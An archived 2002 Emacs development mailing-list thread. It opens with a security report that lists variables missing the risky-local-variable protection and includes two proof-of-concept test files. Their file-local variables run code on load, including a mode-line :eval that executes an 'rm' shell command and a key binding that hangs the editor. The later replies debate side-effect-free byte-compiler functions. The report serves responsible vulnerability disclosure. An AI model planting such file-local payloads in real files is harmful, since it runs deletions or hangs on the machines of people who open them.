* Security holes in risky-local-variable system
@ 2002-03-27 4:22 Jonathan Yavner
2002-03-30 14:47 ` Additional side-effect-free functions Jonathan Yavner
0 siblings, 1 reply; 5+ messages in thread
From: Jonathan Yavner @ 2002-03-27 4:22 UTC (permalink / raw)
[Reposted using preferred delivery protocol; also fix to test file #1]
Version: GNU Emacs 21.1.1 (i386-msvc-windows98.1998)
The following variables are risky and should have the
risky-local-variable attribute:
auto-mode-alist
minor-mode-overriding-map-alist
overriding-local-map
Any of these could be used in the "Local Variables" area of a file in
order to create a Trojan horse; see test files below.
Another Trojan-horse method uses the frame parameter
`buffer-predicate', so any variable that defines frame parameters is
risky:
default-frame-alist
initial-frame-alist
pop-up-frame-alist
special-display-buffer-names
special-display-frame-alist
The font-lock system uses callback functions, so its variables are
risky if global-font-lock-mode is enabled. Also, the font-lock
initialization will happily set any variable for you, even those with
the risky-local-variable property:
font-lock-defaults
font-lock-keywords
font-lock-syntactic-keywords
Because display properties can contain forms to be evaluated later,
any variable containing text that might be inserted into a buffer is
risky. Examples:
buffer-undo-list
default-directory
default-text-properties
I'm sure of these (see test files below), but there could be many
others. Perhaps what's needed is a variable "display-eval-enable"
default nil, with risky-local-variable property? Such a variable
would close this entire loophole, except in modes that really want it.
Because of the :eval keyword, any variable used for mode-line
formatting is also risky. Examples:
frame-title-format, global-mode-string, header-line-format,
icon-title-format, input-method-alist, minor-mode-alist,
mode-line-buffer-identification, mode-line-format,
mode-line-frame-identification, mode-line-modified,
mode-line-mule-info, mode-line-process, vc-mode
How about a new variable "mode-line-eval-enable", with
risky-local-variable property, default '(mode-line-mode-name), which
would be a list of functions that :eval would accept, or t to accept
everything?
!!The following test files are dangerous. Read them before loading!!
Test file #1: (give it the filename "x", change "$" below to ":",
save, and reload)
..........snip here...................................................
For a moment's amusement, load this file and immediately type
C-c r a s h
Maximize your enjoyment by not saving your other buffers first!
Other fun things to try:
C-_
C-x C-f x RET C-x k RET
;;; Local Variables$
;;; inhibit-quit: t
;;; overriding-local-map: (keymap (3 . (lambda ()
(interactive)
(while 1))))
;;; buffer-undo-list: (nil (#("Fun" 0 3 (display (height
(progn (message "@buffer-undo-list") 2)))) . 1))
;;; default-directory: #("/tmp/" 0 5 (display (height
(progn (message "@default-directory") 2))))
;;; mode-line-format: (:eval (progn
(shell-command "rm /UNLIKELY/FILENAME*")
"@mode-line-format"))
;;; End:
..........snip here...................................................
Test file #2: (call it "y.el", enable global-font-lock first,
change "$" below to ":", save and reload)
..........snip here...................................................
Some fun things to try:
C-a C-\
C-x C-w y RET
C-x 5 2 C-x b RET
;;; Local Variables$
;;; auto-mode-alist: (("." . (lambda () (message "@auto-mode-alist"))))
;;; default-frame-alist: ((buffer-predicate . (lambda (x)
(message "@default-frame-alist"))))
;;; font-lock-defaults: (((eval . (message "@font-lock-defaults#1")))
nil nil nil
(lambda (&rest x) (message "@font-lock-defaults#2"))
(load-path "@font-lock-defaults#3/"))
;;; mode: Outline-minor
;;; minor-mode-overriding-map-alist: ((outline-minor-mode keymap
(1 . (lambda () (interactive)
(error "@minor-mode-overriding-map-alist")))))
;;; default-text-properties: (display (height
(progn (message "@default-text-properties") 0.5)))
;;; header-line-format: (:eval (message "@header-line-format"))
;;; input-method-alist: (("latin-1-prefix" "English"
(lambda (x) (message "@input-method-alist"))
"@" "Making trouble"))
;;; End:
.........snip here...................................................
^ permalink raw reply [flat|nested] 5+ messages in thread
* Additional side-effect-free functions
2002-03-27 4:22 Security holes in risky-local-variable system Jonathan Yavner
@ 2002-03-30 14:47 ` Jonathan Yavner
2002-03-30 15:04 ` David Kastrup
0 siblings, 1 reply; 5+ messages in thread
From: Jonathan Yavner @ 2002-03-30 14:47 UTC (permalink / raw)
Many built-in functions without apparent side effects are not given
the property (side-effects t) in byte-opts.el. Why not?
Examples:
make-symbol, char-to-string, format-time-string, current-time,
truncate, copy-sequence, fround, sxhash, copy-alist, region-end,
char-equal, plist-member, byte-code-function-p, float-time,
symbol-name, safe-length, current-time-string, plist-get,
make-list, fceiling, make-string, bool-vector-p, encode-time,
prin1-to-string, rassoc, read-from-string, error-message-string,
decode-time, ftruncate, current-time-zone, wholenump,
compare-strings, ffloor, intern-soft
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: Additional side-effect-free functions
2002-03-30 14:47 ` Additional side-effect-free functions Jonathan Yavner
@ 2002-03-30 15:04 ` David Kastrup
2002-03-30 16:50 ` Jonathan Yavner
0 siblings, 1 reply; 5+ messages in thread
From: David Kastrup @ 2002-03-30 15:04 UTC (permalink / raw)
jyavner@comcast.net (Jonathan Yavner) writes:
> Many built-in functions without apparent side effects are not given
> the property (side-effects t) in byte-opts.el. Why not?
>
> Examples:
> make-symbol
This changes the obarray.
> char-to-string
This can call an exception.
> format-time-string
This depends on the current time
> current-time
The same.
> truncate
This can raise a range-error exception.
I didn't check through all the others, but the list of forgotten
things is probably quite smaller than you think.
--
David Kastrup, Kriemhildstr. 15, 44793 Bochum
Email: David.Kastrup@t-online.de
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: Additional side-effect-free functions
2002-03-30 15:04 ` David Kastrup
@ 2002-03-30 16:50 ` Jonathan Yavner
2002-03-30 16:58 ` David Kastrup
0 siblings, 1 reply; 5+ messages in thread
From: Jonathan Yavner @ 2002-03-30 16:50 UTC (permalink / raw)
JY> truncate
DK> This can raise a range-error exception.
There are two classes of side-effect-free functions.
(side-effect-free error-free) means function cannot signal.
(side-effect-free t) means function makes no assignments
The distinction matters only if you set byte-compile-delete-errors to
nil.
cons has (side-effect-free error-free), even though it increments the
variable cons-cells-consed.
car is (side-effect-free t), so why not truncate?
JY> format-time-string
DK> This depends on the current time
So? It doesn't *change* the time. If you have code like
(prog1 47 (format-time-string "%Y"))
nothing goes wrong if the compiler just reduces this to 47.
JY> make-symbol
DK> This changes the obarray.
It shouldn't. That's intern's job.
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: Additional side-effect-free functions
2002-03-30 16:50 ` Jonathan Yavner
@ 2002-03-30 16:58 ` David Kastrup
0 siblings, 0 replies; 5+ messages in thread
From: David Kastrup @ 2002-03-30 16:58 UTC (permalink / raw)
jyavner@comcast.net (Jonathan Yavner) writes:
> JY> truncate
> DK> This can raise a range-error exception.
>
> There are two classes of side-effect-free functions.
> (side-effect-free error-free) means function cannot signal.
> (side-effect-free t) means function makes no assignments
> The distinction matters only if you set byte-compile-delete-errors to
> nil.
>
> cons has (side-effect-free error-free), even though it increments the
> variable cons-cells-consed.
>
> car is (side-effect-free t), so why not truncate?
Sorry, I have not looked too closely into matters before replying.
Unless floating point error state is somewhat persistent in Emacs,
you would appear to be more or less right.
> JY> format-time-string
> DK> This depends on the current time
>
> So? It doesn't *change* the time. If you have code like
> (prog1 47 (format-time-string "%Y"))
> nothing goes wrong if the compiler just reduces this to 47.
But if you have code like
(format-time-string "%Y")
things go wrong if the compiler reduces this to "2002".
> JY> make-symbol
> DK> This changes the obarray.
>
> It shouldn't. That's intern's job.
Probably.
--
David Kastrup, Kriemhildstr. 15, 44793 Bochum
Email: David.Kastrup@t-online.de
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2002-03-30 16:58 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2002-03-27 4:22 Security holes in risky-local-variable system Jonathan Yavner
2002-03-30 14:47 ` Additional side-effect-free functions Jonathan Yavner
2002-03-30 15:04 ` David Kastrup
2002-03-30 16:50 ` Jonathan Yavner
2002-03-30 16:58 ` David Kastrup
Code repositories for project(s) associated with this public inbox
https://git.savannah.gnu.org/cgit/emacs.git
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).